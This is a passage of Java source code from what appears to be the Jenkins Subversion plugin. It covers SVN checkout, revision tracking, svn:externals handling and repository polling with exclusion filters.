boolean useUpdate, boolean doRevert, SubversionRepositoryBrowser browser, String excludedRegions, String excludedUsers, String excludedRevprop, String excludedCommitMessages,
String includedRegions) {
this(locations, useUpdate?(doRevert?new UpdateWithRevertUpdater():new UpdateUpdater()):new CheckoutUpdater(),
browser, excludedRegions, excludedUsers, excludedRevprop, excludedCommitMessages, includedRegions);
}
/**
*
* @deprecated as of ...
*/
public SubversionSCM(List<ModuleLocation> locations, WorkspaceUpdater workspaceUpdater,
SubversionRepositoryBrowser browser, String excludedRegions, String excludedUsers, String excludedRevprop, String excludedCommitMessages,
String includedRegions) {
this(locations, workspaceUpdater, browser, excludedRegions, excludedUsers, excludedRevprop, excludedCommitMessages, includedRegions, false);
}
/**
* @deprecated
*/
public SubversionSCM(List<ModuleLocation> locations, WorkspaceUpdater workspaceUpdater,
SubversionRepositoryBrowser browser, String excludedRegions, String excludedUsers, String excludedRevprop, String excludedCommitMessages,
String includedRegions, boolean ignoreDirPropChanges) {
this(locations, workspaceUpdater, browser, excludedRegions, excludedUsers, excludedRevprop, excludedCommitMessages, includedRegions, ignoreDirPropChanges, false);
}
@DataBoundConstructor
public SubversionSCM(List<ModuleLocation> locations, WorkspaceUpdater workspaceUpdater,
SubversionRepositoryBrowser browser, String excludedRegions, String excludedUsers, String excludedRevprop, String excludedCommitMessages,
String includedRegions, boolean ignoreDirPropChanges, boolean filterChangelog) {
for (Iterator<ModuleLocation> itr = locations.iterator(); itr.hasNext();) {
ModuleLocation ml = itr.next();
String remote = Util.fixEmptyAndTrim(ml.remote);
if(remote==null) itr.remove();
}
this.locations = locations.toArray(new ModuleLocation[locations.size()]);
this.workspaceUpdater = workspaceUpdater;
this.browser = browser;
this.excludedRegions = excludedRegions;
this.excludedUsers = excludedUsers;
this.excludedRevprop = excludedRevprop;
this.excludedCommitMessages = excludedCommitMessages;
this.includedRegions = includedRegions;
this.ignoreDirPropChanges = ignoreDirPropChanges;
this.filterChangelog = filterChangelog;
}
/**
* Convenience constructor, especially during testing.
*/
public SubversionSCM(String svnUrl) {
this(svnUrl,".");
}
/**
* Convenience constructor, especially during testing.
*/
public SubversionSCM(String svnUrl, String local) {
this(new String[]{svnUrl},new String[]{local},true,null,null,null,null);
}
/**
* Convenience constructor, especially during testing.
*/
public SubversionSCM(String[] svnUrls, String[] locals) {
this(svnUrls,locals,true,null,null,null,null);
}
/**
* @deprecated
* as of 1.91. Use {@link #getLocations()} instead.
*/
public String getModules() {
return null;
}
/**
* list of all configured svn locations
*
* @since 1.91
*/
@Exported
public ModuleLocation[] getLocations() {
return getLocations(null, null);
}
@Exported
public WorkspaceUpdater getWorkspaceUpdater() {
if (workspaceUpdater!=null)
return workspaceUpdater;
// data must have been read from old configuration.
if (useUpdate!=null && !useUpdate)
return new CheckoutUpdater();
if (doRevert!=null && doRevert)
return new UpdateWithRevertUpdater();
return new UpdateUpdater();
}
public void setWorkspaceUpdater(WorkspaceUpdater workspaceUpdater) {
this.workspaceUpdater = workspaceUpdater;
}
/**
* @since 1.252
* @deprecated Use {@link #getLocations(EnvVars, AbstractBuild)} for vars
* expansion to be performed on all env vars rather than just
* build parameters.
*/
public ModuleLocation[] getLocations(AbstractBuild<?,?> build) {
return getLocations(null, build);
}
/**
* List of all configured svn locations, expanded according to all env vars
* or, if none defined, according to only build parameters values.
* Both may be defined, in which case the variables are combined.
* @param env If non-null, variable expansions are performed against these vars
* @param build If non-null, variable expansions are
* performed against the build parameters
*/
public ModuleLocation[] getLocations(EnvVars env, AbstractBuild<?,?> build) {
// check if we've got a old location
if (modules != null) {
// import the old configuration
List<ModuleLocation> oldLocations = new ArrayList<ModuleLocation>();
StringTokenizer tokens = new StringTokenizer(modules);
while (tokens.hasMoreTokens()) {
// the remote (repository location)
// the normalized name is always without the trailing '/'
String remoteLoc = Util.removeTrailingSlash(tokens.nextToken());
oldLocations.add(new ModuleLocation(remoteLoc, null));
}
locations = oldLocations.toArray(new ModuleLocation[oldLocations.size()]);
modules = null;
}
if(env == null && build == null)
return locations;
ModuleLocation[] outLocations = new ModuleLocation[locations.length];
EnvVars env2 = env != null ? new EnvVars(env) : new EnvVars();
if (build != null) {
env2.putAll(build.getBuildVariables());
}
EnvVars.resolve(env2);
for (int i = 0; i < outLocations.length; i++) {
outLocations[i] = locations[i].getExpandedLocation(env2);
}
return outLocations;
}
/**
* Get the list of every checked-out location. This differs from {@link #getLocations()}
* which returns only the configured locations whereas this method returns the configured
* locations + any svn:externals locations.
*/
public ModuleLocation[] getProjectLocations(AbstractProject project) throws IOException {
List<External> projectExternals = getExternals(project);
ModuleLocation[] configuredLocations = getLocations();
if (projectExternals.isEmpty()) {
return configuredLocations;
}
List<ModuleLocation> allLocations = new ArrayList<ModuleLocation>(configuredLocations.length + projectExternals.size());
allLocations.addAll(Arrays.asList(configuredLocations));
for (External external : projectExternals) {
allLocations.add(new ModuleLocation(external.url, external.path));
}
return allLocations.toArray(new ModuleLocation[allLocations.size()]);
}
private List<External> getExternals(AbstractProject context) throws IOException {
Map<AbstractProject, List<External>> projectExternalsCache = getProjectExternalsCache();
List<External> projectExternals;
synchronized (projectExternalsCache) {
projectExternals = projectExternalsCache.get(context);
}
if (projectExternals == null) {
projectExternals = parseExternalsFile(context);
synchronized (projectExternalsCache) {
if (!projectExternalsCache.containsKey(context)) {
projectExternalsCache.put(context, projectExternals);
}
}
}
return projectExternals;
}
@Override
@Exported
public SubversionRepositoryBrowser getBrowser() {
return browser;
}
@Exported
public String getExcludedRegions() {
return excludedRegions;
}
public String[] getExcludedRegionsNormalized() {
return (excludedRegions == null || excludedRegions.trim().equals(""))
? null : excludedRegions.split("[\\r\\n]+");
}
private Pattern[] getExcludedRegionsPatterns() {
String[] excluded = getExcludedRegionsNormalized();
if (excluded != null) {
Pattern[] patterns = new Pattern[excluded.length];
int i = 0;
for (String excludedRegion : excluded) {
patterns[i++] = Pattern.compile(excludedRegion);
}
return patterns;
}
return new Pattern[0];
}
@Exported
public String getIncludedRegions() {
return includedRegions;
}
public String[] getIncludedRegionsNormalized() {
return (includedRegions == null || includedRegions.trim().equals(""))
? null : includedRegions.split("[\\r\\n]+");
}
private Pattern[] getIncludedRegionsPatterns() {
String[] included = getIncludedRegionsNormalized();
if (included != null) {
Pattern[] patterns = new Pattern[included.length];
int i = 0;
for (String includedRegion : included) {
patterns[i++] = Pattern.compile(includedRegion);
}
return patterns;
}
return new Pattern[0];
}
@Exported
public String getExcludedUsers() {
return excludedUsers;
}
public Set<String> getExcludedUsersNormalized() {
String s = fixEmptyAndTrim(excludedUsers);
if (s==null)
return Collections.emptySet();
Set<String> users = new HashSet<String>();
for (String user : s.split("[\\r\\n]+"))
users.add(user.trim());
return users;
}
@Exported
public String getExcludedRevprop() {
return excludedRevprop;
}
@Exported
public String getExcludedCommitMessages() {
return excludedCommitMessages;
}
public String[] getExcludedCommitMessagesNormalized() {
String s = fixEmptyAndTrim(excludedCommitMessages);
return s == null ? new String[0] : s.split("[\\r\\n]+");
}
private Pattern[] getExcludedCommitMessagesPatterns() {
String[] excluded = getExcludedCommitMessagesNormalized();
Pattern[] patterns = new Pattern[excluded.length];
int i = 0;
for (String excludedCommitMessage : excluded) {
patterns[i++] = Pattern.compile(excludedCommitMessage);
}
return patterns;
}
@Exported
public boolean isIgnoreDirPropChanges() {
return ignoreDirPropChanges;
}
@Exported
public boolean isFilterChangelog() {
return filterChangelog;
}
/**
* Sets the <tt>SVN_REVISION_n</tt> and <tt>SVN_URL_n</tt> environment variables during the build.
*/
@Override
public void buildEnvVars(AbstractBuild<?, ?> build, Map<String, String> env) {
super.buildEnvVars(build, env);
ModuleLocation[] svnLocations = getLocations(new EnvVars(env), build);
try {
Map<String,Long> revisions = parseSvnRevisionFile(build);
Set<String> knownURLs = revisions.keySet();
if(svnLocations.length==1) {
// for backwards compatibility if there's only a single modulelocation, we also set
// SVN_REVISION and SVN_URL without '_n'
String url = svnLocations[0].getURL();
Long rev = revisions.get(url);
if(rev!=null) {
env.put("SVN_REVISION",rev.toString());
env.put("SVN_URL",url);
} else if (!knownURLs.isEmpty()) {
LOGGER.log(WARNING, "no revision found corresponding to {0}; known: {1}", new Object[] {url, knownURLs});
}
}
for(int i=0;i<svnLocations.length;i++) {
String url = svnLocations[i].getURL();
Long rev = revisions.get(url);
if(rev!=null) {
env.put("SVN_REVISION_"+(i+1),rev.toString());
env.put("SVN_URL_"+(i+1),url);
} else if (!knownURLs.isEmpty()) {
LOGGER.log(WARNING, "no revision found corresponding to {0}; known: {1}", new Object[] {url, knownURLs});
}
}
} catch (IOException e) {
LOGGER.log(WARNING, "error building environment variables", e);
}
}
/**
* Called after checkout/update has finished to compute the changelog.
*/
private boolean calcChangeLog(AbstractBuild<?,?> build, File changelogFile, BuildListener listener, List<External> externals, EnvVars env) throws IOException, InterruptedException {
if(build.getPreviousBuild()==null) {
// nothing to compare against
return createEmptyChangeLog(changelogFile, listener, "log");
}
// some users reported that the file gets created with size 0. I suspect
// maybe some XSLT engine doesn't close the stream properly.
// so let's do it by ourselves to be really sure that the stream gets closed.
OutputStream os = new BufferedOutputStream(new FileOutputStream(changelogFile));
boolean created;
try {
created = new SubversionChangeLogBuilder(build, env, listener, this).run(externals, new StreamResult(os));
} finally {
os.close();
}
if(!created)
createEmptyChangeLog(changelogFile, listener, "log");
return true;
}
/**
* Please consider using the non-static version {@link #parseSvnRevisionFile(AbstractBuild)}!
*/
/*package*/ static Map<String,Long> parseRevisionFile(AbstractBuild<?,?> build) throws IOException {
return parseRevisionFile(build,true,false);
}
/*package*/ Map<String,Long> parseSvnRevisionFile(AbstractBuild<?,?> build) throws IOException {
return parseRevisionFile(build);
}
/**
* Reads the revision file of the specified build (or the closest, if the flag is so specified.)
*
* @param findClosest
* If true, this method will go back the build history until it finds a revision file.
* A build may not have a revision file for any number of reasons (such as failure, interruption, etc.)
* @return
* map from {@link SvnInfo#url Subversion URL} to its revision. If there is more than one, choose
* the one with the smallest revision number
*/
/*package*/ static Map<String,Long> parseRevisionFile(AbstractBuild<?,?> build, boolean findClosest, boolean prunePinnedExternals) throws IOException {
Map<String,Long> revisions = new HashMap<String,Long>(); // module -> revision
if (findClosest) {
for (AbstractBuild<?,?> b=build; b!=null; b=b.getPreviousBuild()) {
if(getRevisionFile(b).exists()) {
build = b;
break;
}
}
}
{// read the revision file of the build
File file = getRevisionFile(build);
if(!file.exists())
// nothing to compare against
return revisions;
BufferedReader br = new BufferedReader(new FileReader(file));
try {
String line;
while((line=br.readLine())!=null) {
boolean isPinned = false;
int indexLast = line.length();
if (line.lastIndexOf("::p") == indexLast-3) {
isPinned = true;
indexLast -= 3;
}
int index = line.lastIndexOf('/');
if(index<0) {
continue; // invalid line?
}
try {
String url = line.substring(0, index);
long revision = Long.parseLong(line.substring(index+1,indexLast));
Long oldRevision = revisions.get(url);
if (isPinned) {
if (!prunePinnedExternals) {
if (oldRevision == null)
// If we're writing pinned, only write if there are no unpinned
revisions.put(url, revision);
}
} else {
// unpinned
if (oldRevision == null || oldRevision > revision)
// For unpinned, take minimum
revisions.put(url, revision);
}
} catch (NumberFormatException e) {
// perhaps a corrupted line.
LOGGER.log(WARNING, "Error parsing line " + line, e);
}
}
} finally {
br.close();
}
}
return revisions;
}
/**
* Parses the file that stores the locations in the workspace where modules loaded by svn:external
* is placed.
*
* <p>
* Note that the format of the file has changed in 1.180 from simple text file to XML.
*
* @return
* immutable list. Can be empty but never null.
*/
/*package*/ @SuppressWarnings("unchecked")
static List<External> parseExternalsFile(AbstractProject project) throws IOException {
File file = getExternalsFile(project);
if(file.exists()) {
try {
return (List<External>)new XmlFile(External.XSTREAM,file).read();
} catch (IOException e) {
// in < 1.180 this file was a text file, so it may fail to parse as XML,
// in which case let's just fall back
}
}
return Collections.emptyList();
}
/**
* Polling can happen on the master and does not require a workspace.
*/
@Override
public boolean requiresWorkspaceForPolling() {
return false;
}
@SuppressWarnings("unchecked")
public boolean checkout(AbstractBuild build, Launcher launcher, FilePath workspace, final BuildListener listener, File changelogFile) throws IOException, InterruptedException {
EnvVars env = build.getEnvironment(listener);
EnvVarsUtils.overrideAll(env, build.getBuildVariables());
List<External> externals = null;
try {
externals = checkout(build,workspace,listener,env);
} catch (UpdaterException e) {
return false;
}
// write out the revision file
PrintWriter w = new PrintWriter(new FileOutputStream(getRevisionFile(build)));
try {
List<SvnInfoP> pList = workspace.act(new BuildRevisionMapTask(build, this, listener, externals, env));
List<SvnInfo> revList= new ArrayList<SvnInfo>(pList.size());
for (SvnInfoP p: pList) {
if (p.pinned)
w.println( p.info.url +'/'+ p.info.revision + "::p");
else
w.println( p.info.url +'/'+ p.info.revision);
revList.add(p.info);
}
build.addAction(new SubversionTagAction(build,revList));
} finally {
w.close();
}
// write out the externals info
new XmlFile(External.XSTREAM,getExternalsFile(build.getProject())).write(externals);
Map<AbstractProject, List<External>> projectExternalsCache = getProjectExternalsCache();
synchronized (projectExternalsCache) {
projectExternalsCache.put(build.getProject(), externals);
}
return calcChangeLog(build, changelogFile, listener, externals, env);
}
/**
* Performs the checkout or update, depending on the configuration and workspace state.
*
* <p>
* Use canonical path to avoid SVNKit/symlink problem as described in
* https://wiki.svnkit.com/SVNKit_FAQ
*
* @return null
* if the operation failed. Otherwise the set of local workspace paths
* (relative to the workspace root) that has loaded due to svn:external.
*/
private List<External> checkout(AbstractBuild build, FilePath workspace, TaskListener listener, EnvVars env) throws IOException, InterruptedException {
if (repositoryLocationsNoLongerExist(build, listener, env)) {
Run lsb = build.getProject().getLastSuccessfulBuild();
if (lsb != null && build.getNumber()-lsb.getNumber()>10
&& build.getTimestamp().getTimeInMillis()-lsb.getTimestamp().getTimeInMillis() > TimeUnit2.DAYS.toMillis(1)) {
// Disable this project if the location doesn't exist any more, see issue #763
// but only do so if there was at least some successful build,
// to make sure that initial configuration error won't disable the build. see issue #1567
// finally, only disable a build if the failure persists for some time.
// see http://www.nabble.com/Should-Hudson-have-an-option-for-a-content-fingerprint--td24022683.html
listener.getLogger().println("One or more repository locations do not exist anymore for " + build.getProject().getName() + ", project will be disabled.");
build.getProject().makeDisabled(true);
return null;
}
}
List<External> externals = new ArrayList<External>();
for (ModuleLocation location : getLocations(env, build)) {
externals.addAll( workspace.act(new CheckOutTask(build, this, location, build.getTimestamp().getTime(), listener, env)));
// olamy: remove null check at it cause test failure
// see https://github.com/jenkinsci/subversion-plugin/commit/de23a2b781b7b86f41319977ce4c11faee75179b#commitcomment-1551273
/*if ( externalsFound != null ){
externals.addAll(externalsFound);
} else {
externals.addAll( new ArrayList<External>( 0 ) );
}*/
}
return externals;
}
private synchronized Map<AbstractProject, List<External>> getProjectExternalsCache() {
if (projectExternalsCache == null) {
projectExternalsCache = new WeakHashMap<AbstractProject, List<External>>();
}
return projectExternalsCache;
}
/**
* Either run "svn co" or "svn up" equivalent.
*/
private static class CheckOutTask extends UpdateTask implements FileCallable<List<External>> {
private final UpdateTask task;
public CheckOutTask(AbstractBuild<?, ?> build, SubversionSCM parent, ModuleLocation location, Date timestamp, TaskListener listener, EnvVars env) {
this.authProvider = parent.getDescriptor().createAuthenticationProvider(build.getParent());
this.timestamp = timestamp;
this.listener = listener;
this.location = location;
this.revisions = build.getAction(RevisionParameterAction.class);
this.task = parent.getWorkspaceUpdater().createTask();
}
public List<External> invoke(File ws, VirtualChannel channel) throws IOException {
clientManager = createClientManager(authProvider);
manager = clientManager.getCore();
this.ws = ws;
try {
List<External> externals = perform();
checkClockOutOfSync();
return externals;
} catch (InterruptedException e) {
throw (InterruptedIOException)new InterruptedIOException().initCause(e);
} finally {
clientManager.dispose();
}
}
/**
* This round-about way of executing the task ensures that the error-prone {@link #delegateTo(UpdateTask)} method
* correctly copies everything.
*/
@Override
public List<External> perform() throws IOException, InterruptedException {
return delegateTo(task);
}
private void checkClockOutOfSync() {
try {
SVNDirEntry dir = clientManager.createRepository(location.getSVNURL(), true).info("/", -1);
if (dir != null) {// I don't think this can ever be null, but be defensive
if (dir.getDate() != null && dir.getDate().after(new Date())) // see http://www.nabble.com/NullPointerException-in-SVN-Checkout-Update-td21609781.html that reported this being null.
{
listener.getLogger().println(Messages.SubversionSCM_ClockOutOfSync());
}
}
} catch (SVNAuthenticationException e) {
// if we don't have access to '/', ignore. error
LOGGER.log(Level.FINE,"Failed to estimate the remote time stamp",e);
} catch (SVNException e) {
LOGGER.log(Level.INFO,"Failed to estimate the remote time stamp",e);
}
}
private static final long serialVersionUID = 1L;
}
/**
*
* @deprecated as of 1.40
* Use {@link #createClientManager(ISVNAuthenticationProvider)}
*/
public static SVNClientManager createSvnClientManager(ISVNAuthenticationProvider authProvider) {
return createClientManager(authProvider).getCore();
}
/**
* Creates {@link SVNClientManager}.
*
* <p>
* This method must be executed on the slave where svn operations are performed.
*
* @param authProvider
* The value obtained from {@link DescriptorImpl#createAuthenticationProvider(AbstractProject)}.
* If the operation runs on slaves,
* (and properly remoted, if the svn operations run on slaves.)
*/
public static SvnClientManager createClientManager(ISVNAuthenticationProvider authProvider) {
ISVNAuthenticationManager sam = createSvnAuthenticationManager(authProvider);
return new SvnClientManager(SVNClientManager.newInstance(createDefaultSVNOptions(), sam));
}
/**
* Creates the {@link DefaultSVNOptions}.
*
* @return the {@link DefaultSVNOptions}.
*/
public static DefaultSVNOptions createDefaultSVNOptions() {
DefaultSVNOptions defaultOptions = SVNWCUtil.createDefaultOptions(true);
DescriptorImpl descriptor = Hudson.getInstance() == null ? null : Hudson.getInstance().getDescriptorByType(DescriptorImpl.class);
if (defaultOptions != null && descriptor != null) {
defaultOptions.setAuthStorageEnabled(descriptor.isStoreAuthToDisk());
}
return defaultOptions;
}
public static ISVNAuthenticationManager createSvnAuthenticationManager(ISVNAuthenticationProvider authProvider) {
File configDir;
if (CONFIG_DIR!=null)
configDir = new File(CONFIG_DIR);
else
configDir = SVNWCUtil.getDefaultConfigurationDirectory();
ISVNAuthenticationManager sam = SVNWCUtil.createDefaultAuthenticationManager(configDir, null, null);
sam.setAuthenticationProvider(authProvider);
SVNAuthStoreHandlerImpl.install(sam);
return sam;
}
/**
* @deprecated as of 2.0
* Use {@link #createClientManager(AbstractProject)}
*
*/
public static SVNClientManager createSvnClientManager(AbstractProject context) {
return createClientManager(context).getCore();
}
/**
* Creates {@link SVNClientManager} for code running on the master.
* <p>
* CAUTION: this code only works when invoked on master. On slaves, use
* {@link #createSvnClientManager(ISVNAuthenticationProvider)} and get {@link ISVNAuthenticationProvider}
* from the master via remoting.
*/
public static SvnClientManager createClientManager(AbstractProject context) {
return new SvnClientManager(createSvnClientManager(Hudson.getInstance().getDescriptorByType(DescriptorImpl.class).createAuthenticationProvider(context)));
}
public static final class SvnInfo implements Serializable, Comparable<SvnInfo> {
/**
* Decoded repository URL.
*/
public final String url;
public final long revision;
public SvnInfo(String url, long revision) {
this.url = url;
this.revision = revision;
}
public SvnInfo(SVNInfo info) {
this( info.getURL().toDecodedString(), info.getCommittedRevision().getNumber() );
}
public SVNURL getSVNURL() throws SVNException {
return SVNURL.parseURIDecoded(url);
}
public int compareTo(SvnInfo that) {
int r = this.url.compareTo(that.url);
if(r!=0) return r;
if(this.revision<that.revision) return -1;
if(this.revision>that.revision) return +1;
return 0;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
SvnInfo svnInfo = (SvnInfo) o;
return revision==svnInfo.revision && url.equals(svnInfo.url);
}
@Override
public int hashCode() {
int result;
result = url.hashCode();
result = 31 * result + (int) (revision ^ (revision >>> 32));
return result;
}
@Override
public String toString() {
return String.format("%s (rev.%s)",url,revision);
}
private static final long serialVersionUID = 1L;
}
/**
* {@link SvnInfo} plus a flag if the revision is fixed.
*/
private static final class SvnInfoP implements Serializable {
/**
* SvnInfo with an indicator boolean indicating whether this is a pinned external
*/
public final SvnInfo info;
public final boolean pinned;
public SvnInfoP(SvnInfo info, boolean pinned) {
this.info = info;
this.pinned = pinned;
}
private static final long serialVersionUID = 1L;
}
/**
* Information about svn:external
*/
public static final class External implements Serializable {
/**
* Relative path within the workspace where this <tt>svn:exteranls</tt> exist.
*/
public final String path;
/**
* External SVN URL to be fetched.
*/
public final String url;
/**
* If the svn:external link is with the -r option, its number.
* Otherwise -1 to indicate that the head revision of the external repository should be fetched.
*/
public final long revision;
public External(String path, SVNURL url, long revision) {
this.path = path;
this.url = url.toDecodedString();
this.revision = revision;
}
/**
* Returns true if this reference is to a fixed revision.
*/
public boolean isRevisionFixed() {
return revision!=-1;
}
private static final long serialVersionUID = 1L;
private static final XStream XSTREAM = new XStream2();
static {
XSTREAM.alias("external",External.class);
}
}
/**
* Gets the SVN metadata for the remote repository.
*
* @param remoteUrl
* The target to run "svn info".
*/
static SVNInfo parseSvnInfo(SVNURL remoteUrl, ISVNAuthenticationProvider authProvider) throws SVNException {
final SvnClientManager manager = createClientManager(authProvider);
try {
final SVNWCClient svnWc = manager.getWCClient();
return svnWc.doInfo(remoteUrl, SVNRevision.HEAD, SVNRevision.HEAD);
} finally {
manager.dispose();
}
}
/**
* Checks .svn files in the workspace and finds out revisions of the modules
* that the workspace has.
*
* @return
* null if the parsing somehow fails. Otherwise a map from the repository URL to revisions.
*/
private static class BuildRevisionMapTask implements FileCallable<List<SvnInfoP>> {
private final ISVNAuthenticationProvider authProvider;
private final TaskListener listener;
private final List<External> externals;
private final ModuleLocation[] locations;
public BuildRevisionMapTask(AbstractBuild<?, ?> build, SubversionSCM parent, TaskListener listener, List<External> externals, EnvVars env) {
this.authProvider = parent.getDescriptor().createAuthenticationProvider(build.getParent());
this.listener = listener;
this.externals = externals;
this.locations = parent.getLocations(env, build);
}
public List<SvnInfoP> invoke(File ws, VirtualChannel channel) throws IOException {
List<SvnInfoP> revisions = new ArrayList<SvnInfoP>();
final SvnClientManager manager = createClientManager(authProvider);
try {
final SVNWCClient svnWc = manager.getWCClient();
// invoke the "svn info"
for( ModuleLocation module : locations ) {
try {
SvnInfo info = new SvnInfo(svnWc.doInfo(new File(ws,module.getLocalDir()), SVNRevision.WORKING));
revisions.add(new SvnInfoP(info, false));
} catch (SVNException e) {
e.printStackTrace(listener.error("Failed to parse svn info for "+module.remote));
}
}
for(External ext : externals){
try {
SvnInfo info = new SvnInfo(svnWc.doInfo(new File(ws,ext.path),SVNRevision.WORKING));
revisions.add(new SvnInfoP(info, ext.isRevisionFixed()));
} catch (SVNException e) {
e.printStackTrace(listener.error("Failed to parse svn info for external "+ext.url+" at "+ext.path));
}
}
return revisions;
} finally {
manager.dispose();
}
}
private static final long serialVersionUID = 1L;
}
/**
* Gets the file that stores the revision.
*/
public static File getRevisionFile(AbstractBuild build) {
return new File(build.getRootDir(),"revision.txt");
}
/**
* Gets the file that stores the externals.
*/
private static File getExternalsFile(AbstractProject project) {
return new File(project.getRootDir(),"svnexternals.txt");
}
@Override
public SCMRevisionState calcRevisionsFromBuild(AbstractBuild<?, ?> build, Launcher launcher, TaskListener listener) throws IOException, InterruptedException {
// exclude locations that are svn:external-ed with a fixed revision.
Map<String,Long> wsRev = parseRevisionFile(build,true,true);
return new SVNRevisionState(wsRev);
}
private boolean isPollFromMaster() {
return pollFromMaster;
}
void setPollFromMaster(boolean pollFromMaster) {
this.pollFromMaster = pollFromMaster;
}
@Override
protected PollingResult compareRemoteRevisionWith(AbstractProject<?,?> project, Launcher launcher, FilePath workspace, final TaskListener listener, SCMRevisionState _baseline) throws IOException, InterruptedException {
final SVNRevisionState baseline;
if (_baseline instanceof SVNRevisionState) {
baseline = (SVNRevisionState)_baseline;
}
else if (project.getLastBuild()!=null) {
baseline = (SVNRevisionState)calcRevisionsFromBuild(project.getLastBuild(), launcher, listener);
}
else {
baseline = new SVNRevisionState(null);
}
if (project.getLastBuild() == null) {
listener.getLogger().println(Messages.SubversionSCM_pollChanges_noBuilds());
return BUILD_NOW;
}
AbstractBuild<?,?> lastCompletedBuild = project.getLastCompletedBuild();
if (lastCompletedBuild!=null) {
EnvVars env = lastCompletedBuild.getEnvironment(listener);
EnvVarsUtils.overrideAll(env, lastCompletedBuild.getBuildVariables());
if (repositoryLocationsNoLongerExist(lastCompletedBuild, listener, env)) {
// Disable this project, see HUDSON-763
listener.getLogger().println(
Messages.SubversionSCM_pollChanges_locationsNoLongerExist(project));
project.makeDisabled(true);
return NO_CHANGES;
}
// are the locations checked out in the workspace consistent with the current configuration?
for (ModuleLocation loc : getLocations(env, lastCompletedBuild)) {
// baseline.revisions has URIdecoded URL
String url;
try {
url = loc.getSVNURL().toDecodedString();
} catch (SVNException ex) {
ex.printStackTrace(listener.error(Messages.SubversionSCM_pollChanges_exception(loc.getURL())));
return BUILD_NOW;
}
if (!baseline.revisions.containsKey(url)) {
listener.getLogger().println(
Messages.SubversionSCM_pollChanges_locationNotInWorkspace(url));
return BUILD_NOW;
}
}
}
// determine where to perform polling. prefer the node where the build happened,
// in case a cluster is non-uniform. see http://www.nabble.com/svn-connection-from-slave-only-td24970587.html
VirtualChannel ch=null;
Node n = null;
if (!isPollFromMaster()) {
n = lastCompletedBuild!=null ? lastCompletedBuild.getBuiltOn() : null;
if (n!=null) {
Computer c = n.toComputer();
if (c!=null) ch = c.getChannel();
}
}
if (ch==null) ch= MasterComputer.localChannel;
final String nodeName = n!=null ? n.getNodeName() : "master";
final SVNLogHandler logHandler = new SVNLogHandler(createSVNLogFilter(), listener);
final ISVNAuthenticationProvider authProvider = getDescriptor().createAuthenticationProvider(project);
// figure out the remote revisions
return ch.call(new CompareAgainstBaselineCallable(baseline, logHandler, project.getName(), listener, authProvider, nodeName));
}
public SVNLogFilter createSVNLogFilter() {
return new DefaultSVNLogFilter(getExcludedRegionsPatterns(), getIncludedRegionsPatterns(),
getExcludedUsersNormalized(), getExcludedRevprop(), getExcludedCommitMessagesPatterns(), isIgnoreDirPropChanges());
}
/**
* Goes through the changes between two revisions and see if all the changes
* are excluded.
*/
static final class SVNLogHandler implements ISVNLogEntryHandler, Serializable {
private boolean changesFound = false;
private SVNLogFilter filter;
SVNLogHandler(SVNLogFilter svnLogFilter, TaskListener listener) {
this.filter = svnLogFilter;;
this.filter.setTaskListener(listener);
}
public boolean isChangesFound() {
return changesFound;
}
/**
* Checks it the revision range [from,to] has any changes that are not excluded via exclusions.
*/
public boolean findNonExcludedChanges(SVNURL url, long from, long to, ISVNAuthenticationProvider authProvider) throws SVNException {
if (from>to) return false; // empty revision range, meaning no change
// if no exclusion rules are defined, don't waste time going through "svn log".
if (!filter.hasExclusionRule()) return true;
final SvnClientManager manager = createClientManager(authProvider);
try {
manager.getLogClient().doLog(url, null, SVNRevision.UNDEFINED,
SVNRevision.create(from), // get log entries from the local revision + 1
SVNRevision.create(to), // to the remote revision
false, // Don't stop on copy.
true, // Report paths.
false, // Don't included merged revisions
0, // Retrieve log entries for unlimited number of revisions.
null, // Retrieve all revprops
this);
} finally {
manager.dispose();
}
return isChangesFound();
}
/**
* Handles a log entry passed.
* Check for log entries that should be excluded from triggering a build.
* If an entry is not an entry that should be excluded, set changesFound to true
*
* @param logEntry an {@link org.tmatesoft.svn.core.SVNLogEntry} object
* that represents per revision information
* (committed paths, log message, etc.)
* @throws org.tmatesoft.svn.core.SVNException
*/
public void handleLogEntry(SVNLogEntry logEntry) throws SVNException {
if (filter.isIncluded(logEntry)) {
changesFound = true;
}
}
private static final long serialVersionUID = 1L;
}
public ChangeLogParser createChangeLogParser() {
return new SubversionChangeLogParser(ignoreDirPropChanges);
}
@Override
public DescriptorImpl getDescriptor() {
return (DescriptorImpl)super.getDescriptor();
}
/**
* @deprecated
*/
@Override
@Deprecated
public FilePath getModuleRoot(FilePath workspace) {
if (getLocations().length > 0)
return workspace.child(getLocations()[0].getLocalDir());
return workspace;
}
@Override
public FilePath getModuleRoot(FilePath workspace, AbstractBuild build) {
if (build == null) {
return getModuleRoot(workspace);
}
// TODO: can't I get the build listener here?
TaskListener listener = new LogTaskListener(LOGGER, WARNING);
final EnvVars env;
try {
env = build.getEnvironment(listener);
} catch (IOException e) {
throw new RuntimeException(e);
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new RuntimeException(e);
}
if (getLocations().length > 0)
return _getModuleRoot(workspace, getLocations()[0].getLocalDir(), env);
return workspace;
}
@Deprecated
@Override
public FilePath[] getModuleRoots(FilePath workspace) {
final ModuleLocation[] moduleLocations = getLocations();
if (moduleLocations.length > 0) {
FilePath[] moduleRoots = new FilePath[moduleLocations.length];
for (int i = 0; i < moduleLocations.length; i++) {
moduleRoots[i] = workspace.child(moduleLocations[i].getLocalDir());
}
return moduleRoots;
}
return new FilePath[] { getModuleRoot(workspace) };
}
@Override
public FilePath[] getModuleRoots(FilePath workspace, AbstractBuild build) {
if (build == null) {
return getModuleRoots(workspace);
}
// TODO: can't I get the build listener here?
TaskListener listener = new LogTaskListener(LOGGER, WARNING);
final EnvVars env;
try {
env = build.getEnvironment(listener);
} catch (IOException e) {
throw new RuntimeException(e);
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
throw new RuntimeException(e);
}
final ModuleLocation[] moduleLocations = getLocations();
if (moduleLocations.length > 0) {
FilePath[] moduleRoots = new FilePath[moduleLocations.length];
for (int i = 0; i < moduleLocations.length; i++) {
moduleRoots[i] = _getModuleRoot(workspace, moduleLocations[i].getLocalDir(), env);
}
return moduleRoots;
}
return new FilePath[] { getModuleRoot(workspace, build) };
}
FilePath _getModuleRoot(FilePath workspace, String localDir, EnvVars env) {
return workspace.child(
env.expand(localDir));
}
private static String getLastPathComponent(String s) {
String[] tokens = s.split("/");
return tokens[tokens.length-1]; // return the last token
}
@Extension
public static class DescriptorImpl extends SCMDescriptor<SubversionSCM> implements hudson.model.ModelObject {
/**
* SVN authentication realm to its associated credentials.
* This is the global credential repository.
